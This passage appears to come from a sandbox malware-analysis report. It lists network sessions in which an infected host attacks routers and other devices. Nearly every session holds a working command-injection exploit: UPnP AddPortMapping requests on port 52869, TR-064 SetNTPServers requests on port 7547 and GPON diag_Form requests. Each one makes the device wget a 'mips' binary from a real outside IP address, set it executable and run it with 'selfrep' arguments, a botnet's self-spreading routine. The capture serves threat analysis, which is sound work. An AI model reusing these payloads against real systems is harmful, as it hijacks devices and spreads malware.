3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /tmp; wget http://185.10.68.127/mips -O /tmp/a;`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
404	192.168.2.13	53820	34.149.128.155	52869

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:46.209392071 CEST	928	OUT	POST /picdesc.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 74 6d 70 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 38 35 2e 31 30 2e 36 38 2e 31 32 37 2f 6d 69 70 73 20 2d 4f 20 2f 74 6d 70 2f 61 3b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /tmp; wget http://185.10.68.127/mips -O /tmp/a;`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
405	192.168.2.13	49916	177.62.41.219	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:46.218143940 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:52:47.370757103 CEST	240	IN	HTTP/1.1 401 Unauthorized Content-Length: 0 WWW-Authenticate: Digest realm="IgdAuthentication", domain="/", nonce="ODIwM2NhYmM6Yzg1MzBlN2M6YmZkYmJkZDg=", qop="auth", algorithm=MD5, opaque="5ccc09c403ebaf9f0171e9517f40e41"

Session ID	Source IP	Source Port	Destination IP	Destination Port
406	192.168.2.13	34420	103.147.141.62	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:46.275741100 CEST	695	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
407	192.168.2.13	53828	34.149.128.155	52869

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:46.362481117 CEST	918	OUT	POST /wanipcn.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 61 3b 20 2f 74 6d 70 2f 61 20 72 65 61 6c 74 65 6b 2e 73 65 6c 66 72 65 70 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`chmod 777 /tmp/a; /tmp/a realtek.selfrep`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
408	192.168.2.13	55110	146.148.188.107	52869

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:46.515192986 CEST	916	OUT	POST /picdesc.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 74 6d 70 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 38 35 2e 31 30 2e 36 38 2e 31 32 37 2f 6d 69 70 73 20 2d 4f 20 2f 74 6d 70 2f 61 3b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /tmp; wget http://185.10.68.127/mips -O /tmp/a;`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
409	192.168.2.13	49932	177.62.41.219	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:46.550019026 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:52:48.378021955 CEST	240	IN	HTTP/1.1 401 Unauthorized Content-Length: 0 WWW-Authenticate: Digest realm="IgdAuthentication", domain="/", nonce="MTZmODk5NjA6MjExNGEyOTU6N2IzZTk4YmI=", qop="auth", algorithm=MD5, opaque="5ccc09c403ebaf9f0171e9517f40e41"

Session ID	Source IP	Source Port	Destination IP	Destination Port
410	192.168.2.13	38750	27.238.37.160	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:46.847091913 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
411	192.168.2.13	55954	123.207.242.110	23

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:46.930205107 CEST	171	IN	HTTP/1.0 200 OK Server: Proxy Data Raw: 0d 0a 0d 0a 0d 0a 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 38 31 2e 31 38 31 2e 35 34 2e 36 30 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 34 2d 30 34 2d 31 35 20 31 34 3a 35 32 3a 34 34 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 3f 3f 3f 3f 2e 0d 0a 0d 0a 0d 0a Data Ascii: Unauthorized ...IP Address: 81.181.54.60MAC Address: Server Time: 2024-04-15 14:52:44Auth Result: ????.

Session ID	Source IP	Source Port	Destination IP	Destination Port
412	192.168.2.13	38754	27.238.37.160	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:47.140345097 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
413	192.168.2.13	56078	123.207.242.110	23

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:47.575418949 CEST	171	IN	HTTP/1.0 200 OK Server: Proxy Data Raw: 0d 0a 0d 0a 0d 0a 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 38 31 2e 31 38 31 2e 35 34 2e 36 30 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 34 2d 30 34 2d 31 35 20 31 34 3a 35 32 3a 34 35 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 3f 3f 3f 3f 2e 0d 0a 0d 0a 0d 0a Data Ascii: Unauthorized ...IP Address: 81.181.54.60MAC Address: Server Time: 2024-04-15 14:52:45Auth Result: ????.

Session ID	Source IP	Source Port	Destination IP	Destination Port
414	192.168.2.13	45530	104.85.247.218	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:47.608175993 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:52:47.761106014 CEST	532	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 310 Expires: Mon, 15 Apr 2024 06:52:47 GMT Date: Mon, 15 Apr 2024 06:52:47 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 32 64 37 35 36 32 36 38 26 23 34 36 3b 31 37 31 33 31 36 33 39 36 37 26 23 34 36 3b 62 64 62 61 39 38 62 0a 3c 50 3e 68 74 74 70 73 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 65 72 72 6f 72 73 26 23 34 36 3b 65 64 67 65 73 75 69 74 65 26 23 34 36 3b 6e 65 74 26 23 34 37 3b 39 26 23 34 36 3b 32 64 37 35 36 32 36 38 26 23 34 36 3b 31 37 31 33 31 36 33 39 36 37 26 23 34 36 3b 62 64 62 61 39 38 62 3c 2f 50 3e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.2d756268.1713163967.bdba98b<P>https://errors.edgesuite.net/9.2d756268.1713163967.bdba98b</P></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
415	192.168.2.13	55104	74.87.6.245	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:47.623630047 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:52:47.796247959 CEST	150	IN	HTTP/1.1 404 Not Found CONNECTION: close CONTENT-LENGTH: 48 CONTENT-TYPE: text/html Data Raw: 3c 68 74 6d 6c 3e 3c 62 6f 64 79 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html><body><h1>404 Not Found</h1></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
416	192.168.2.13	36684	211.40.85.3	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:47.744211912 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:52:48.050786018 CEST	289	IN	HTTP/1.1 404 Not Found CONNECTION: close CONTENT-LENGTH: 48 X-XSS-Protection: 1;mode=block Content-Security-Policy: script-src 'self' 'unsafe-inline' 'unsafe-eval' X-Content-Type-Options: nosniff CONTENT-TYPE: text/html Data Raw: 3c 68 74 6d 6c 3e 3c 62 6f 64 79 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html><body><h1>404 Not Found</h1></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
417	192.168.2.13	50760	213.86.245.74	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:47.758766890 CEST	307	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
